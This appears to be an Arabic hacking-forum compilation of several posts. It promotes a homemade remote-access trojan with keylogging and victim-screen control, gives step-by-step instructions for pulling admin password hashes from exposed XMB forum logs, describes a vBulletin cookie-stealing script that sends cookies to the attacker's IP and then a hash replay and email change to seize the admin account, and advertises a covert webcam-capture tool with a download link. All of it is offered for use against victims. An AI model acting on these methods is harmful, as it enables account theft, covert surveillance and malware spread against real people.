برامج مرعبة

بسم الله الرحمن الرحيم و الصلاة و السلام على أشرف الأنبياء و المرسلين و بعد :
السلام علكم و رحمة الله وبركاته .
 برنامج لاختراق الأجهزة الإصدار الأول من تصميمي بلغة الفيجوال بيسك أتمنى أن تعطوني رأيكم فيه بصراحة
وإن شاء الله ستكون هناك نسخ أخرى و خيارات كتيرة وفعالة إن شاء الله .
وهذا شرح مبسط للبرنامج :
1- أيقونة البرنامج :

2- صورة البرنامج : !! + DeCoDeuR + !!

3- بعض الرسائل الشفافة التي تظهر في أعلى أقصى اليمين على الشاشة للمستخدم للتنبيه على بعض الأخطاء و هي :
+ عند نسيان رقم الأي بي :

+ عند الإتصال بالسيرفر :

+ عند قطع الإتصال مع السيرفر :

+ عند حدوث خطأ في الإتصال مع السيرفر :

وللإشارة فإن هذه الرسائل عند ظهورها تكون مصاحبة لصوت رائع مما يزيد من جماليتها .
4- فورم اللعب بالجهاز : يحتوي على مجموعة من الخيارات مما يجعل التحكم في الجهاز كاملا .

5- إدارة ملفات الجهاز :

6- التجسس على لوحة المفاتيح : تسجيل كل ما يكتبه الضحية على الكيبورد .

7- الرساءل المجهولة : إرسال رسائل مختلفة خاصة بالنظام .

8- المحادثة الفورية : أو الشات مع الضحية .

9- محادثة الماتريكس : تقوم بإرسال رسائل فورية إلى شاشة الضحية التي أصبحت سوداء حيث يمكنه مشاهدتها ولا يستطيع كتابة أي شيء عليها .

10- التنصت على الأي بي : تمكنك هذه العملية من الحصول على الأي بي لأي شخص تريد بطريقة جد سهلة ، ما عليك سوى أن تجعل عنوان الأي بي الخاص بك على شكل رابط هكذا : http://196.122.36.251/ وترسله إلى الضحية وما إن يضغط على الرابط حتى يكتب الأي بي الخاص به لستة أيبيهات الضحايا .

11- سكانر : يمكنك القيام بعميلة مسح للأجهزة ومعرفة المنافذ المفتوحة عن طرق الأي بي IP .

12- NetStaT : تمكنك هذه العملية من معرفة الأي بيهات المتصلة بك .

13- معلومات : لمعرفة بعض المعلومات عن المبرمج و عن البرنامج .

ملاحظة : حجم السيرفر صغير جدا : 192 كيلوبايت فقط .
تحميل البرنامج :
رابط 1 :
!! + DeCoDeuR + !! تحميل
رابط 2 :
!! + DeCoDeuR + !! تحميل
أتمنى أن يعجبكم البرنامج == وأتمنى أن تعطوني رأيكم فيه بصراحة .
و في انتظار صدور الإصدارات الأخرى أتمنى لكم اختراقات موفقة.
و السلام عليك

طريقة الاختراق :

ثغرة جديدة في منتديات من نوع XMB

الشرح والتطبيق

1- عليك بالذهاب الى موقع جوجل http://www.google.com/
2- اكتب في منطقة البحث XMB 1.6 Magic Lantern Final
3- سوف ترى منتديات كثييييييييره اكثرها مصابه بهذه الثغره لكن رجاااء
لاتقرب المنتديات العربية وعليك بتحذيرها من الثغره الموجوده.
4- اضغط على اي منتدى وقم بكتابة الكلمة التالية بعد عنوان المنتدى
index_log.log يعني راح يكون زي كده
http://www.******.com/massegboard/index_log.log
5- راح ينزل عندك ملف والملف عباره عن ملف زي الكوكيز كبير وفيه اسماء
المستخدمين والباسورد وأشياء ثانيه ماتهمنا.
6- الأن عليك بالبحث في المنتدى عن اسم المدير وذلك بالذهاب الى المواضيع
وتشوف الأسماء والي تلقى تحت اسمه ادمن ستريتور انسخ اسمه.
7- افتح الملف الي نزلته من الموقع وسوي بحث عن اسم المدير راح يجيك زي
كده مثلا::
xmbuser=admin
والباسورد راح تلقاه قدامه زي كذه
xmbpw=1faeb6747a31c854800ddf3c62b1717a
8- طبعا الباسورد في هذه الحاله مشفر وفك التشفير صعب لهذا الغرض قامت شركة
CCI بتصميم برنامج يقوم بهذا وفي برنامج ثاني يسطيع تحليله اسمه المترجم كلنا بنعرفه


2-مقدمة :
---------------------------------------------------


الموضوع : اختراق الـ vBulletin
المتطلبات : WebServer (تركيب سيرفر على جهازك الشخصي) + متصفح انترنت (اكسبلورر) .
المستوى : متوسط

ملاحظة : هذه الطريقة لست للـ vBulletin فقط !! يمكن ان تجربها على انواع اخرى من المنتديات .


---------------------------------------------------
الثغرة :
---------------------------------------------------


تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..

قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :


مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .

وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .

وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..
مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .
ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

ابحث عن الكود الخاص بالباسورد .. مثال :

GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb





ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f8;%20bbthreadview[54





20]=1012444064;%20bblastvi
sit=1011983161

فكر قليلا الان .. اين الباسورد ؟؟
الباسورد موجود لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟
قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !


---------------------------------------------------

 

ا اقدم لكم البرنامج المعجزه الملقب بسارق الكميراتالذي ياخذ صور من كاميرا زميلك او صاحبك من دون علمه برنامج بحد ذاته معجزه حيث مجرب من الهوتميل والياهوو والبرنامج غير منشور في المنتديات لانه طازه صرله اسبوع طالع طريقه العمل 1- ارسل لصاحبك صوره او ملف لا يتجاوز 1 ميجا 2-عند قبوله الملف 3-اذهب وحط ايميله بس لازم يكون هوتميل او ياهو وشوف الصور لانها تعبر عن مليون كلمه                                                                    من هناhttp://www.upqtr.com/user/2006/6/25/upqtr_2006625f3dda4725e24eacc9.zip